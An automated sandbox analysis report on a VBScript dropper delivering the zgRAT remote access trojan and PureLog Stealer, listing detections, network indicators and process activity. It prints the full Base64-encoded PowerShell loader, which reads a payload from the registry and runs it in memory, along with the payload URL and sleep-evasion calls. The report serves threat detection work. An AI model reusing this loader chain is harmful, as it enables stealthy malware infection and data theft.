Windows Analysis Report
nos#U016bt#U012b#U0161anas dokuments r#U0113#U0137inam Nr.52-FK-24.vbs

Overview

General Information

Sample name: nos#U016bt#U012b#U0161anas dokuments r#U0113#U0137inam Nr.52-FK-24.vbs
renamed because original name is a hash value
Original sample name: nostanas dokuments rinam Nr.52-FK-24.vbs
Analysis ID: 1533048
MD5: 1f158aaa048de08d758d4ed4d65be651
SHA1: 7f443dad2bd9e472e96161979f8f628b9c5232a2
SHA256: 453f9f1860d49936a81140bc75488afdf01dfc5d4f23671c177a9310471b4b08
Tags: vbsuser-abuse_ch
Infos:

Detection

PureLog Stealer, zgRAT
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
VBScript performs obfuscated calls to suspicious functions
Yara detected PureLog Stealer
Yara detected zgRAT
AI detected suspicious sample
Encrypted powershell cmdline option found
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious Encoded PowerShell Command Line
Sigma detected: Suspicious PowerShell Parameter Substring
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
zgRAT zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: nos#U016bt#U012b#U0161anas dokuments r#U0113#U0137inam Nr.52-FK-24.vbs Avira: detected
Multi AV Scanner detection for domain / URL
Source: transfer.adttemp.com.br Virustotal: Detection: 6% Perma Link
Source: http://transfer.adttemp.com.br Virustotal: Detection: 6% Perma Link
Multi AV Scanner detection for submitted file
Source: nos#U016bt#U012b#U0161anas dokuments r#U0113#U0137inam Nr.52-FK-24.vbs ReversingLabs: Detection: 60%
Source: nos#U016bt#U012b#U0161anas dokuments r#U0113#U0137inam Nr.52-FK-24.vbs Virustotal: Detection: 50% Perma Link
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 99.7% probability
Source: unknown HTTPS traffic detected: 104.196.109.209:443 -> 192.168.2.5:49872 version: TLS 1.2
Source: Binary string: BFD4.pdb source: powershell.exe, 00000003.00000002.3382819373.000001A9C3610000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000003.00000002.3372776875.000001A9BB668000.00000004.00000800.00020000.00000000.sdmp

Software Vulnerabilities
barindex
Suspicious execution chain found
Source: C:\Windows\System32\wscript.exe Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /qcExh/99gram.txt HTTP/1.1Host: transfer.adttemp.com.brConnection: Keep-Alive
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /qcExh/99gram.txt HTTP/1.1Host: transfer.adttemp.com.brConnection: Keep-Alive
Source: global traffic DNS traffic detected: DNS query: transfer.adttemp.com.br
Source: powershell.exe, 00000003.00000002.3343374740.000001A9AB33B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.v
Source: powershell.exe, 00000003.00000002.3372776875.000001A9BB53C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000003.00000002.3343659186.000001A9AB661000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000003.00000002.3343659186.000001A9AB4B1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000003.00000002.3343659186.000001A9AD0D9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://transfer.adttemp.com.br
Source: powershell.exe, 00000003.00000002.3343659186.000001A9AB661000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000003.00000002.3343659186.000001A9AB4B1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000003.00000002.3372776875.000001A9BB53C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000003.00000002.3372776875.000001A9BB53C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000003.00000002.3372776875.000001A9BB53C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000003.00000002.3343659186.000001A9AB661000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000003.00000002.3343659186.000001A9AD3B5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://go.micro
Source: powershell.exe, 00000003.00000002.3372776875.000001A9BB53C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000003.00000002.3343659186.000001A9ACC03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://transfer.adttemp.com.br
Source: powershell.exe, 00000003.00000002.3343659186.000001A9ACC03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://transfer.adttemp.com.br/qcExh/99gram.txt
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown HTTPS traffic detected: 104.196.109.209:443 -> 192.168.2.5:49872 version: TLS 1.2

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: Process Memory Space: powershell.exe PID: 6500, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\System32\wscript.exe COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8} Jump to behavior
Wscript starts Powershell (via cmd or directly)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -enc IAAkAHQAZQB4AHQAIAA9ACAAKAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIABIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABOAFkAQQBOAHgAQwBBAFQAXAApAC4ATgBZAEEATgB4AEMAQQBUACkAOwAgACQAdABlAHgAdAAgAD0AIAAtAGoAbwBpAG4AIAAkAHQAZQB4AHQAWwAtADEALgAuAC0AJAB0AGUAeAB0AC4ATABlAG4AZwB0AGgAXQA7ACAAWwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJAB0AGUAeAB0ACkAKQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQALgBJAG4AdgBvAGsAZQAoACQATgB1AGwAbAAsACQATgB1AGwAbAApADsA
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -enc IAAkAHQAZQB4AHQAIAA9ACAAKAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIABIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABOAFkAQQBOAHgAQwBBAFQAXAApAC4ATgBZAEEATgB4AEMAQQBUACkAOwAgACQAdABlAHgAdAAgAD0AIAAtAGoAbwBpAG4AIAAkAHQAZQB4AHQAWwAtADEALgAuAC0AJAB0AGUAeAB0AC4ATABlAG4AZwB0AGgAXQA7ACAAWwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJAB0AGUAeAB0ACkAKQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQALgBJAG4AdgBvAGsAZQAoACQATgB1AGwAbAAsACQATgB1AGwAbAApADsA Jump to behavior
Detected potential crypto function
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FF848E8F7ED 3_2_00007FF848E8F7ED
Java / VBScript file with very long strings (likely obfuscated code)
Source: nos#U016bt#U012b#U0161anas dokuments r#U0113#U0137inam Nr.52-FK-24.vbs Initial sample: Strings found which are bigger than 50
Yara signature match
Source: Process Memory Space: powershell.exe PID: 6500, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: classification engine Classification label: mal100.troj.expl.evad.winVBS@14/3@1/1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: \Sessions\1\BaseNamedObjects\PSReadLineHistoryFile_-399786117
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6448:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_12t2j1hg.zvy.ps1 Jump to behavior
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\nos#U016bt#U012b#U0161anas dokuments r#U0113#U0137inam Nr.52-FK-24.vbs"
Source: C:\Windows\System32\wscript.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\System32\wscript.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: nos#U016bt#U012b#U0161anas dokuments r#U0113#U0137inam Nr.52-FK-24.vbs ReversingLabs: Detection: 60%
Source: nos#U016bt#U012b#U0161anas dokuments r#U0113#U0137inam Nr.52-FK-24.vbs Virustotal: Detection: 50%
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\nos#U016bt#U012b#U0161anas dokuments r#U0113#U0137inam Nr.52-FK-24.vbs"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -enc IAAkAHQAZQB4AHQAIAA9ACAAKAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIABIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABOAFkAQQBOAHgAQwBBAFQAXAApAC4ATgBZAEEATgB4AEMAQQBUACkAOwAgACQAdABlAHgAdAAgAD0AIAAtAGoAbwBpAG4AIAAkAHQAZQB4AHQAWwAtADEALgAuAC0AJAB0AGUAeAB0AC4ATABlAG4AZwB0AGgAXQA7ACAAWwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJAB0AGUAeAB0ACkAKQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQALgBJAG4AdgBvAGsAZQAoACQATgB1AGwAbAAsACQATgB1AGwAbAApADsA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -enc IAAkAHQAZQB4AHQAIAA9ACAAKAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIABIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABOAFkAQQBOAHgAQwBBAFQAXAApAC4ATgBZAEEATgB4AEMAQQBUACkAOwAgACQAdABlAHgAdAAgAD0AIAAtAGoAbwBpAG4AIAAkAHQAZQB4AHQAWwAtADEALgAuAC0AJAB0AGUAeAB0AC4ATABlAG4AZwB0AGgAXQA7ACAAWwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJAB0AGUAeAB0ACkAKQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQALgBJAG4AdgBvAGsAZQAoACQATgB1AGwAbAAsACQATgB1AGwAbAApADsA Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe" Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: vbscript.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrobj.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: Binary string: BFD4.pdb source: powershell.exe, 00000003.00000002.3382819373.000001A9C3610000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000003.00000002.3372776875.000001A9BB668000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation
barindex
VBScript performs obfuscated calls to suspicious functions
Source: C:\Windows\System32\wscript.exe Anti Malware Scan Interface: .Run("Unsupported parameter type 00000000", "0", "false");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IHost.Sleep("1000");IWshShell3.RegRead("HKCU\SOFTWARE\NYANxCAT\NYANxCAT");IWshShell3.RegWrite("HKCU\SOFTWARE\NYANxCAT\NYANxCAT", "==AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");IWshShell3.Run("Unsupported parameter type 00000000", "0", "false");IWshShell3.Run("Powershell -noexit -exec bypass -window 1 -enc IAAkAHQAZQB4AHQAIAA9ACAAKAA", "0", "false")
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FF848E87848 push eax; iretd 3_2_00007FF848E8786D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FF848E87828 push eax; iretd 3_2_00007FF848E8786D
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
